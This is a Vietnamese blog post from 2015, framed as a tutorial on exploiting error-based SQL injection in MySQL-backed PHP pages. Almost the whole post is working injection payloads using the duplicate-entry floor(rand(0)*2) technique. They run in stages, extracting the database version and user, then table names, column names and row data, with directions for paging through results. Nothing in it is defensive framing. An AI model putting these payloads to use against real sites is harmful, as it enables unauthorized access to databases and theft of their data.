Thứ Ba, 23 tháng 6, 2015

[TUT] Khai thác lỗi SQL Injection dạng error-based quick blind

Posted By: Unknown - 13:29

[TUT] Khai thác lỗi SQL Injection dạng error-based quick blind
Ví dụ victim có dạng:
Lệnh get version, database
http://target.com/page.php?id = 1 And (Select 1 From(Select Count(*),Concat(CHAR (124),(Select Concat(version(),0x7c,database(),0x7c,user())),floor(rAnd(0)*2),CHAR  (124))x From Information_Schema.Tables Group By x)a)
Tương tự vậy, lệnh get table:
And (Select 1 From( Select Count(*), Concat(CHAR (124), (Select  substr(Group_concat(table_name),1,145) FROM information_schema.tables  where table_schema=database()),floor(rAnd(0)*2), CHAR (124))x FROM  Information_Schema.Tables Group By x)a)
Bạn để ý chỗ 1,145…Tăng số 1 đó thành một số lớn hơn (thường là số ký tự được trả ra trong dấu ngoặc kép sau phần duplicate entrie….)
And (Select 1 From( Select Count(*), Concat(CHAR (124), (Select  substr(Group_concat(table_name),63,145) FROM information_schema.tables  where table_schema=database()),floor(rAnd(0)*2), CHAR (124))x FROM  Information_Schema.Tables Group By x)a)
Tiếp theo, lấy column của một table nào đó
And (Select 1 From( Select Count(*), Concat(CHAR (124), (Select  substr(Group_concat(column_name),1,145) FROM information_schema.columns  where table_schema=database() and table_name=0xso_hex_cua_tablename)  ,floor(rAnd(0)*2), CHAR (124))x FROM Information_Schema.Tables Group By  x)a)
Tăng số 1 theo nguyên tắc như trên.
Và cuối cùng là dữ liệu:
And (Select 1 From( Select Count(*), Concat(CHAR (124), (Select  substr(Group_concat(column_name_1,0x7c,column_name_2),1,145) FROM  table_name_nao_do) ,floor(rAnd(0)*2), CHAR (124))x FROM  Information_Schema.Tables Group By x)a)
Có những trang tăng số lượng lên rất nhiều :( Hên là có tool để thực hiện dạng này…Chờ hồi sau sẽ rõ :P

About Unknown

Organic Theme is officially developed by Templatezy Team. We published High quality Blogger Templates with Awesome Design for blogspot lovers.The very first Blogger Templates Company where you will find Responsive Design Templates.

0 nhận xét :

Đăng nhận xét

Copyright © 2015 IT Vui Vẻ

Designed by Templatezy & Copy Blogger Themes